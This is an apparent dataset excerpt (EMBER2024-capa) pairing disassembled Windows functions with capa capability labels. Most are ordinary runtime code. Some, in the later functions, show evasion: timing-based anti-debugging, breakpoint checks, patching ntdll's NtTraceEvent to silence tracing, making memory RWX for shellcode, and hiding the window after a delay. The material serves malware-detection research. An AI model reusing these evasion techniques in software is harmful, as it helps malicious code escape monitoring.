joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1801a92d0
Capabilities:
Get file size
Read file on windows
Read file via mapping

Disassembly:
push rbx
push rbp
sub rsp, 0x48
mov rbp, rdx
mov rbx, rcx
test rcx, rcx
jne 0x1801a92ec
lea eax, [rcx + 0x28]
add rsp, 0x48
pop rbp
pop rbx
ret
mov qword [rsp + 0x68], rsi
xor r9d, r9d
mov qword [rsp + 0x40], r14
mov edx, 0x80000000
xor r14d, r14d
mov rcx, rbp
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
lea r8d, [r14 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x1801a9340
mov r14, qword [rsp + 0x40]
lea eax, [rsi + 2]
mov rsi, qword [rsp + 0x68]
add rsp, 0x48
pop rbp
pop rbx
ret
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x78], rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1801a9465
mov rax, qword [rsp + 0x70]
cmp rax, 0x7fffffff
jg 0x1801a9465
test rax, rax
je 0x1801a9465
xor r9d, r9d
mov qword [rsp + 0x28], r14
xor edx, edx
mov dword [rsp + 0x20], r14d
mov rcx, rsi
lea r8d, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov rdi, rax
test rax, rax
je 0x1801a9465
mov ecx, dword [rsp + 0x70]
xor r9d, r9d
mov dword [rbx + 8], ecx
xor r8d, r8d
mov rcx, rax
mov dword [rbx + 0xc], r14d
mov qword [rsp + 0x20], r14
lea edx, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rcx, rdi
mov qword [rbx], rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbx], r14
je 0x1801a93da
lea rax, [0x1801a94c0]
jmp 0x1801a9433
mov rcx, qword [rbx + 0x30]
xor edx, edx
movsxd r8, dword [rbx + 8]
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbx], rax
test rax, rax
je 0x1801a9465
mov edi, r14d
nop dword [rax + rax]
mov r8d, dword [rbx + 8]
lea r9, [rsp + 0x60]
mov edx, edi
sub r8d, edi
add rdx, qword [rbx]
mov rcx, rsi
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1801a9453
add edi, dword [rsp + 0x60]
cmp edi, dword [rbx + 8]
jne 0x1801a9400
lea rax, [0x1801a9490]
mov rcx, rsi
mov qword [rbx + 0x28], rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbx]
mov qword [rbx + 0x10], rax
xor eax, eax
mov qword [rbx + 0x18], rbp
mov qword [rbx + 0x20], r14
jmp 0x1801a947a
mov rcx, qword [rbx + 0x30]
xor edx, edx
mov r8, qword [rbx]
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0x51
mov qword [rbx], r14
mov qword [rbx + 8], r14
mov rdi, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x68]
mov r14, qword [rsp + 0x40]
add rsp, 0x48
pop rbp
pop rbx
ret
Function at 0x1801aaa50
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov r9, rdx
test rdx, rdx
jne 0x1801aaa5b
xor eax, eax
ret
lea r11, [0x1800256f0]
not ecx
cmp r8d, 8
jb 0x1801aab31
mov r10d, r8d
shr r10, 3
nop word [rax + rax]
movzx edx, byte [r9]
mov eax, ecx
xor rdx, rax
shr ecx, 8
movzx eax, dl
add r8d, 0xfffffff8
movzx edx, byte [r9 + 1]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 2]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 3]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 4]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 5]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 6]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 7]
add r9, 8
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
xor ecx, dword [r11 + rax*4]
sub r10, 1
jne 0x1801aaa80
test r8d, r8d
je 0x1801aab5d
nop word [rax + rax]
movzx edx, byte [r9]
lea r9, [r9 + 1]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
xor ecx, dword [r11 + rax*4]
add r8d, 0xffffffff
jne 0x1801aab40
not ecx
mov eax, ecx
ret
Function at 0x140004100
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x14000413a
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x14000413f
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140004188
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x1400063c0]
cmp byte [rcx + rax], 0
je 0x140004188
dec r8
sub rdx, 1
jne 0x14000416e
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x1400052ac
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400052f6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400052f6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400052f6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400052f6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400052f6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400052f8
xor al, al
add rsp, 0x28
ret
Function at 0x140001098
Capabilities:
Execute anti-debugging instructions

Disassembly:
xor eax, eax
nop
cpuid
nop
mov eax, 1
nop
cpuid
nop
movabs r9, 0xb2d05e00
nop
cpuid
nop
rdtsc
nop
shl rdx, 0x20
nop
or rax, rdx
nop
mov rcx, rax
nop
fldpi
nop
frndint
nop
rdtsc
nop
shl rdx, 0x20
nop
or rax, rdx
nop
sub rax, rcx
nop
cmp rax, r9
nop
jb 0x1400010c5
nop
nop
push rbp
nop
mov rbp, rsp
nop
sub rsp, 8
nop
mov r10, 0xa
nop
mov rcx, 0xffffffff9f345678
nop
dec rcx
nop
xor r9, r9
nop
mov rax, rcx
nop
jne 0x1400010fe
nop
xor rax, rax
nop
mov rax, rbx
nop
add rax, rdx
nop
dec r10
nop
xor r11, r11
nop
jne 0x1400010f5
nop
xor rax, rax
mov rax, 0xa
nop
dec rax
nop
add rsp, 8
pop rbp
ret
Function at 0x140004760
Capabilities:
Read .ini file

Disassembly:
mov r11, rsp
push rbx
sub rsp, 0x850
mov rax, qword [0x140019160]
xor rax, rsp
mov qword [rsp + 0x830], rax
mov rbx, qword [rsp + 0x880]
mov rax, r8
test r9d, r9d
je 0x140004832
mov qword [r11 + 8], rbp
mov ebp, dword [rsp + 0x888]
mov ecx, 0x800
cmp ebp, ecx
mov qword [rsp + 0x28], rdx
mov qword [r11 - 0x10], rsi
cmova ebp, ecx
lea r9, [rsp + 0x30]
lea r8, str.______22
lea rcx, [0x140015fc8]
mov rdx, rax
mov qword [r11 - 0x18], rdi
mov dword [rsp + 0x20], ebp
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea rsi, [rsp + 0x30]
lea rdi, str.______22
mov ecx, 0xd
repe cmpsw word [rsi], word [rdi]
mov rdi, qword [rsp + 0x840]
mov rsi, qword [rsp + 0x848]
je 0x14000482e
lea r8, [rsp + 0x30]
mov edx, ebp
mov rcx, rbx
call fcn.140007b0c
mov eax, 1
mov rbp, qword [rsp + 0x860]
mov rcx, qword [rsp + 0x830]
xor rcx, rsp
call fcn.140007ba0
add rsp, 0x850
pop rbx
ret
xor eax, eax
jmp 0x14000480d
cmp dword [rsp + 0x888], 4
jae 0x140004840
xor eax, eax
jmp 0x140004815
mov r9, rdx
lea rcx, [0x140015fc8]
or r8d, 0xffffffff
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
cmp eax, 0xffffffff
je 0x14000483c
mov dword [rbx], eax
mov eax, 1
jmp 0x140004815
Function at 0x1400086c4
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov dword [rsp + 0x18], r8d
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r12d, r8d
mov ebx, edx
mov r15d, ecx
mov ecx, 8
call fcn.14000d89c
nop
cmp dword [0x14001a900], 1
je 0x140008670
mov dword [0x14001a8fc], 1
mov byte [0x14001a8f8], r12b
test ebx, ebx
jne 0x14000865c
mov rcx, qword [0x14001c900]
call sub.KERNEL32.dll_DecodePointer
mov rsi, rax
mov qword [rsp + 0x30], rax
test rax, rax
je 0x140008649
mov rcx, qword [0x14001c8f8]
call sub.KERNEL32.dll_DecodePointer
mov rdi, rax
mov qword [rsp + 0x20], rax
mov r14, rsi
mov qword [rsp + 0x28], rsi
mov r13, rax
mov qword [rsp + 0x38], rax
sub rdi, 8
mov qword [rsp + 0x20], rdi
cmp rdi, rsi
jb 0x1400085e8
call fcn.14000b544
cmp qword [rdi], rax
jne 0x1400085e8
jmp 0x1400085ce
cmp rdi, rsi
jb 0x140008649
mov rcx, qword [rdi]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
call fcn.14000b544
mov qword [rdi], rax
call rbx
mov rcx, qword [0x14001c900]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
mov rcx, qword [0x14001c8f8]
call sub.KERNEL32.dll_DecodePointer
cmp r14, rbx
jne 0x140008627
cmp r13, rax
je 0x140008647
mov r14, rbx
mov qword [rsp + 0x28], rbx
mov rsi, rbx
mov qword [rsp + 0x30], rbx
mov r13, rax
mov qword [rsp + 0x38], rax
mov rdi, rax
mov qword [rsp + 0x20], rax
jmp 0x1400085ce
lea rdx, [0x140015458]
lea rcx, [0x140015440]
call fcn.140008418
lea rdx, [0x140015468]
lea rcx, [0x140015460]
call fcn.140008418
nop
test r12d, r12d
je 0x14000867f
mov ecx, 8
call fcn.14000d79c
test r12d, r12d
jne 0x1400086aa
mov dword [0x14001a900], 1
lea ecx, [r12 + 8]
call fcn.14000d79c
mov ecx, r15d
call fcn.1400083ac
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor r8d, r8d
xor edx, edx
jmp 0x140008538
Function at 0x140009aa7
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140019160]
jne 0x140007bba
rol rcx, 0x10
test cx, 0xffff
jne 0x140007bb6
repz ret
ror rcx, 0x10
jmp 0x140009a00
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14001ace0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x14001add8]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140009a85
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14001ace0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140009aa7
mov rax, qword [rsp + 0x88]
mov qword [0x14001add8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14001ad78], rax
mov rax, qword [0x14001add8]
mov qword [0x14001ac50], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14001ad60], rax
mov dword [0x14001ac40], 0xc0000409
mov dword [0x14001ac44], 1
mov rax, qword [0x140019160]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140019168]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14001acd8], eax
mov ecx, 1
call fcn.14000ee7c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140016a20]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14001acd8], 0
jne 0x140009b2e
mov ecx, 1
call fcn.14000ee7c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x14000de44
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.14000b544
xor ebx, ebx
mov rdi, rax
cmp qword [0x14001b5a0], rbx
jne 0x14000df4a
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x14000e01f
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000e01f
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x14001b5a0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x14001b5a8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
mov qword [0x14001b5b0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov r11, rax
mov qword [0x14001b5c0], rax
test rax, rax
je 0x14000df41
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x14001b5b8], rax
jmp 0x14000df51
mov rax, qword [0x14001b5b8]
jmp 0x14000df58
mov rax, qword [0x14001b5b8]
mov r11, qword [0x14001b5c0]
cmp rax, rdi
je 0x14000dfc0
cmp r11, rdi
je 0x14000dfc0
mov rcx, rax
call sub.KERNEL32.dll_DecodePointer
mov rcx, qword [0x14001b5c0]
mov rsi, rax
call sub.KERNEL32.dll_DecodePointer
mov r12, rax
test rsi, rsi
je 0x14000dfc0
test rax, rax
je 0x14000dfc0
call rsi
test rax, rax
je 0x14000dfba
lea rcx, [rsp + 0x88]
mov r9d, 0xc
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14000dfba
test byte [rsp + 0x38], 1
jne 0x14000dfc0
bts ebp, 0x15
jmp 0x14000dffe
mov rcx, qword [0x14001b5a8]
cmp rcx, rdi
je 0x14000dffe
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14000dffe
call rax
mov rbx, rax
test rax, rax
je 0x14000dffe
mov rcx, qword [0x14001b5b0]
cmp rcx, rdi
je 0x14000dffe
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14000dffe
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x14001b5a0]
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14000e01f
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x14000e021
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x1c23813a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
lea rax, [rbp - 4]
mov r9, rax
mov r8d, 0x40
mov edx, 0x56b88
lea rcx, [0x1c2383020]
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
jne 0x1c23813d5
mov eax, 0
jmp 0x1c23813dc
lea rax, [0x1c2383020]
add rsp, 0x30
pop rbp
ret

Function at 0x1c2381548
Capabilities:
Check for software breakpoints

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
movzx eax, byte [rax]
mov byte [rbp - 5], al
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x10], rax
mov dword [rbp - 4], 0
lea rdx, [rbp - 0x10]
lea rax, [rbp - 5]
mov rcx, rax
call fcn.1c2381495
movzx eax, byte [rbp - 5]
movzx eax, al
cmp eax, 0xff
je 0x1c23815e4
cmp eax, 0xff
jg 0x1c2381617
cmp eax, 0xeb
je 0x1c23815b4
cmp eax, 0xeb
jg 0x1c2381617
cmp eax, 0xe9
je 0x1c23815c4
cmp eax, 0xea
je 0x1c23815d4
jmp 0x1c2381617
mov rax, qword [rbp - 0x10]
sub rax, qword [rbp + 0x10]
add eax, 2
mov dword [rbp - 4], eax
jmp 0x1c2381617
mov rax, qword [rbp - 0x10]
sub rax, qword [rbp + 0x10]
add eax, 5
mov dword [rbp - 4], eax
jmp 0x1c2381617
mov rax, qword [rbp - 0x10]
sub rax, qword [rbp + 0x10]
add eax, 7
mov dword [rbp - 4], eax
jmp 0x1c2381617
mov rax, qword [rbp + 0x10]
add rax, 1
movzx eax, byte [rax]
movzx eax, al
cmp eax, 0x25
jne 0x1c2381607
mov rax, qword [rbp - 0x10]
sub rax, qword [rbp + 0x10]
add eax, 6
mov dword [rbp - 4], eax
jmp 0x1c2381616
mov rax, qword [rbp - 0x10]
sub rax, qword [rbp + 0x10]
add eax, 2
mov dword [rbp - 4], eax
nop
nop
cmp dword [rbp - 4], 5
jne 0x1c2381634
jmp 0x1c2381623
add dword [rbp - 4], 1
mov edx, dword [rbp - 4]
mov rax, qword [rbp + 0x10]
add rax, rdx
movzx eax, byte [rax]
cmp al, 0xcc
je 0x1c238161f
mov eax, dword [rbp - 4]
add rsp, 0x30
pop rbp
ret
Function at 0x1c2381b61
Capabilities:
Read file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov rax, qword [rbp + 0x18]
lea rdx, str..exe
mov rcx, rax
call sub.msvcrt.dll_strstr
test rax, rax
jne 0x1c2381c4f
lea rdx, [0x1c24dd5f2]
mov rcx, qword [rbp + 0x10]
call sub.msvcrt.dll_fopen
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
je 0x1c2381c52
mov rax, qword [rbp - 8]
mov r8d, 2
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_fseek
mov rax, qword [rbp - 8]
mov rcx, rax
call sub.msvcrt.dll_ftell
mov dword [rbp - 0xc], eax
mov eax, dword [rbp - 0xc]
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
je 0x1c2381c55
mov rax, qword [rbp - 8]
mov r8d, 0
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_fseek
mov edx, dword [rbp - 0xc]
mov rcx, qword [rbp - 8]
mov rax, qword [rbp - 0x18]
mov r9, rcx
mov r8d, 1
mov rcx, rax
call sub.msvcrt.dll_fread
mov rcx, qword [rbp + 0x20]
mov edx, dword [rbp - 0xc]
mov rax, qword [rbp - 0x18]
mov r8, rcx
mov rcx, rax
call fcn.1c23818b5
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp - 8]
mov rcx, rax
call sub.msvcrt.dll_fclose
jmp 0x1c2381c56
nop
jmp 0x1c2381c56
nop
jmp 0x1c2381c56
nop
add rsp, 0x40
pop rbp
ret

Function at 0x1c2381c5c
Capabilities:
Enumerate process modules

Disassembly:
push rbp
sub rsp, 0x260
lea rbp, [rsp + 0x80]
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov edx, eax
mov ecx, 0x18
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0x1d8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
cmp eax, 5
je 0x1c2381d0f
mov dword [rbp - 0x60], 0x238
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x1d8]
mov rcx, rax
call sub.KERNEL32.dll_Module32First
test eax, eax
je 0x1c2381d0f
mov rcx, qword [rbp - 0x48]
lea rax, [rbp - 0x60]
lea rdx, [rax + 0x30]
lea rax, [rbp - 0x60]
add rax, 0x130
mov r8, rcx
mov rcx, rax
call fcn.1c2381b61
jmp 0x1c2381cf8
mov rcx, qword [rbp - 0x48]
lea rax, [rbp - 0x60]
lea rdx, [rax + 0x30]
lea rax, [rbp - 0x60]
add rax, 0x130
mov r8, rcx
mov rcx, rax
call fcn.1c2381b61
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x1d8]
mov rcx, rax
call sub.KERNEL32.dll_Module32Next
test eax, eax
jne 0x1c2381cd7
mov rax, qword [rbp + 0x1d8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
add rsp, 0x260
pop rbp
ret
Function at 0x1c2381d2c
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov dword [rbp - 0x1c], 0xc3c03348
movabs rax, 0x6c642e6c6c64746e
mov qword [rbp - 0x26], rax
mov word [rbp - 0x1e], 0x6c
lea rax, [rbp - 0x26]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp - 8], rax
movabs rax, 0x456563617254744e
mov qword [rbp - 0x33], rax
mov dword [rbp - 0x2b], 0x746e6576
mov byte [rbp - 0x27], 0
lea rdx, [rbp - 0x33]
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp - 0x10], rax
mov qword [rbp - 0x18], 4
mov dword [rbp - 0x38], 0
lea rcx, [rbp - 0x38]
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
mov r9, rcx
mov r8d, 0x40
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
lea rax, [rbp - 0x1c]
mov edx, dword [rax]
mov rax, qword [rbp - 0x10]
mov dword [rax], edx
mov ecx, dword [rbp - 0x38]
lea r8, [rbp - 0x3c]
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
nop
add rsp, 0x60
pop rbp
ret

Function at 0x1c2381df8
Capabilities:
Hide graphical window

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov ecx, 0x3a98
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call fcn.1c2381c5c
call fcn.1c2381d2c
mov rax, qword [sym.imp.USER32.dll_GetActiveWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
call fcn.1c2381410
nop
add rsp, 0x20
pop rbp
ret

Function at 0x1c2381ec4
Capabilities:
Create thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov qword [rbp + 0x20], r8
mov rax, qword [rbp + 0x10]
mov qword [0x1c24e0020], rax
cmp dword [rbp + 0x18], 3
je 0x1c2381f4b
cmp dword [rbp + 0x18], 3
ja 0x1c2381f52
cmp dword [rbp + 0x18], 2
je 0x1c2381f4e
cmp dword [rbp + 0x18], 2
ja 0x1c2381f52
cmp dword [rbp + 0x18], 0
je 0x1c2381f51
cmp dword [rbp + 0x18], 1
jne 0x1c2381f52
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [0x1c2381e5f]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 8], rax
mov ecx, 0xfa
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x1c2381f52
nop
jmp 0x1c2381f52
nop
jmp 0x1c2381f52
nop
mov eax, 1
add rsp, 0x40
pop rbp
ret

Function at 0x1c2382110
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.1c2382ee0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.1c2382ee0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]
Function at 0x1c2382180
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x1c24e0074]
mov r12, rcx
test ebx, ebx
jle 0x1c23822b0
mov rax, qword [0x1c24e0078]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x1c23821cc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x1c2382253
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x1c23821b0
mov rcx, r12
call fcn.1c2382900
mov rsi, rax
test rax, rax
je 0x1c23822d2
mov rax, qword [0x1c24e0078]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.1c2382a30
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x1c24e0078]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1c23822b7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1c238224c
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1c2382260
add dword [0x1c24e0074], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x1c24e0078]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1c238224c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.1c2382110
nop dword [rax]
xor ebx, ebx
jmp 0x1c23821d7
mov rax, qword [0x1c24e0078]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.1c2382110
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.1c2382110
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1c2382570
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x1c24e00a0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1c24e0080]
test rbx, rbx
je 0x1c23825c4
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x1c23825bb
test r12, r12
je 0x1c23825bb
mov rax, qword [rbx + 8]
mov rcx, r12
